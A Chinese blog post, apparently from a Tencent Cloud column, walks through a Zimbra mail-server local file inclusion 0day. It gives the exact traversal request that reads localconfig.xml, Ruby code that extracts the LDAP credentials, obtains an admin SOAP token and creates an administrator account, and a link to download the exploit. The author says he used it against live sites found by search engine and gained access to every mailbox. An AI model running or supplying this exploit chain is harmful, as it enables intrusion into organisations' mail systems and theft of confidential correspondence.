专栏首页离别歌 - 信息安全与代码审计由LFI引起的Zimbra邮件管理系统0day

由LFI引起的Zimbra邮件管理系统0day

由LFI引起的Zimbra邮件管理系统0day

    Zimbra是一个公司用的很多的邮件系统,可能涉及到很多公司内部的机密,所以极为重要。

    这是前几天在exploit-db.com上发出来的0day:http://www.exploit-db.com/exploits/30085/ 。由本地文件包含漏洞可以看到localconfig.xml的内容,而这个文件中包含了LDAP凭证,由这个凭证通过在/service/admin/soap文件下的API来对邮件系统进行越权操作。

0x01 漏洞演示

    在百度里搜索“使 Zimbra Desktop 处于离线状态”,你会找到很多使用Zimbra的系统:

    我们找到我们的目标网站,只用简单使用我们的exp:

    提示Successfully,于是我用新建的账号登录,成功:

    看到有一个“管理员控制台”,因为这个账号是管理员权限,点进去就可以管理所有用户了,当然从公司的老总到客服,所有邮件都尽收眼底。这是管理首页:

0x02 exp运行过程说明

    exp是ruby写的,我也没用python改写,因为比较简单。

    首先访问存在LFI的页面:/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00

req = Net::HTTP::Get.new( "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00", { "Accept-Encoding" => "gzip", "User-Agent" => "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" } )
res = http.request( req )  

    从其中获取到LDAP的账号密码,执行get_auth_token函数:

        resbody = gz.read()
        
        part1 = resbody.gsub("\n", ' ').squeeze(' ')
        part2 = part1.gsub("a[", '').squeeze(' ')
        ldap_user = part2.match(/name=\\"zimbra_user\\">"; "<value>(.*?)<\/value>/ui)[1]
        ldap_pass = part2.match(/name=\\"zimbra_ldap_password\\">"; "<value>(.*?)<\/value>/ui)[1]
        
        get_auth_token(ldap_user,ldap_pass)

    这个函数就访问了/service/admin/soap,并获取到了LDAP服务在Zimbra中的auth_key:

def get_auth_token(user,pass)

https = Net::HTTP.new( $host, 7071 )
path = "/service/admin/soap"

https.use_ssl = true
https.verify_mode = OpenSSL::SSL::VERIFY_NONE

body = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<env:Envelope xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:ns1=\"urn:zimbraAdmin\" xmlns:ns2=\"urn:zimbraAdmin\"><env:Header><ns2:context/></env:Header><env:Body><ns1:AuthRequest><account by=\"name\">#{user}</account><password>#{pass}</password></ns1:AuthRequest></env:Body></env:Envelope>"
data = https.post(path, body, { "Content-Type" => "application/soap+xml; charset=utf-8; action=\"urn:zimbraAdmin#AuthRequest\"" } )
$auth_key = data.body.match(/<authToken>(.*)<\/authToken>/iu)[1]
exploit()

end

获取到auth_key后调用exploit()函数,使用auth_key调用utils类的request_soap_admin方法添加了管理员用户,其中,request_soap_admin方法就是运用Zimbra的API,方式是向/service/admin/soap提交构造好的含有auth_key的xml:

def request_soap_admin(api_call)

  @request=api_call
  
  soap_client = Net::HTTP.new( $host, 7071 )
  soap_client.use_ssl = true
  soap_client.verify_mode = OpenSSL::SSL::VERIFY_NONE
  
  soap_path = "/service/admin/soap"
  
  soap_data = "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra\"><authToken>#{$auth_key}</authToken></context></soap:Header><soap:Body>#{@request}</soap:Body></soap:Envelope>"
  
  response = soap_client.post(soap_path, soap_data, { "Content-Type" => "application/soap+xml; charset=utf-8; action=\"urn:zimbraAdmin\"" } )
  
  if response.body.match(/Error/)
     error_res = response.body.match(/<soap:Text>(.*?)<\/soap:Text>/ui)[1]
     puts "[-] Response Error"
     puts "    [*] #{error_res}"
     false
  else
     return response.body
  end    
  

end

0x03 exp下载

http://www.exploit-db.com/sploits/zimbraexploit_rubina119.zip

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 汉诺塔问题

    学递归,跳不过汉诺塔这个程序。以前弄NOIP,老师很详细地讲过汉诺塔的原理以及实现算法,不过我上大学了却发现老师讲到汉诺塔,只是像一笔带过,原理都没讲通,更别说...

    phith0n
  • Linux KeyLogger

    拿到Linux服务器的权限后,我们可以在机器上运行一个记录键盘的小工具,来记录管理员平时输入的一些密码。有时候用处很大,比如管理员登录ftp/ssh,我们就...

    phith0n
  • WebSth 指纹识别插件简要分析

        今天才在某个论坛上看到这个网站:http://websth.com/, 深感所知甚晚啊,自己一直想做的web指纹识别,已经有童鞋做成chrome插件...

    phith0n
  • gsoap入门:解决axis2服务器返回错误

    版权声明:本文为博主原创文章,转载请注明源地址。 https://blog.csdn.net...

    用户1148648
  • gsoap入门:获取gsoap的错误信息

    版权声明:本文为博主原创文章,转载请注明源地址。 https://blog.csdn.net...

    用户1148648
  • gsoap入门:gsoap的plugin机制说明塈使用plugin实现调试soap函数时显示

    版权声明:本文为博主原创文章,转载请注明源地址。 https://blog.csdn.net...

    用户1148648
  • vue --- 解读vue的中webpack.base.config.js

    小蔚
  • 部署到 Heroku

    如果要将 Huginn 部署到 Heroku 平台,我们推荐你使用最便宜的付费方案,但是,如果你要使用免费方案的话,你需要注意以下几点:

    huginn 中文网
  • 如何区别cn2 gt 和 cn2 gia ? cn2 gt 和 gia 有什么不同?

    在弄清楚cn2 gt 和 cn2 gia的不同的时候我们先要弄清楚什么是cn2 gt和 cn2 gia,具体参考:“什么是cn2 gt线路?” 、“什么是cn2...

    陌涛
  • 有向图的环和有向无环图

    本篇主要分享关于有向图的环和有向无环图(DAG,估计做大数据的同学到处都可以看到),所以相关概念我就不做详细介绍了。

    大数据和云计算技术

扫码关注云+社区

领取腾讯云代金券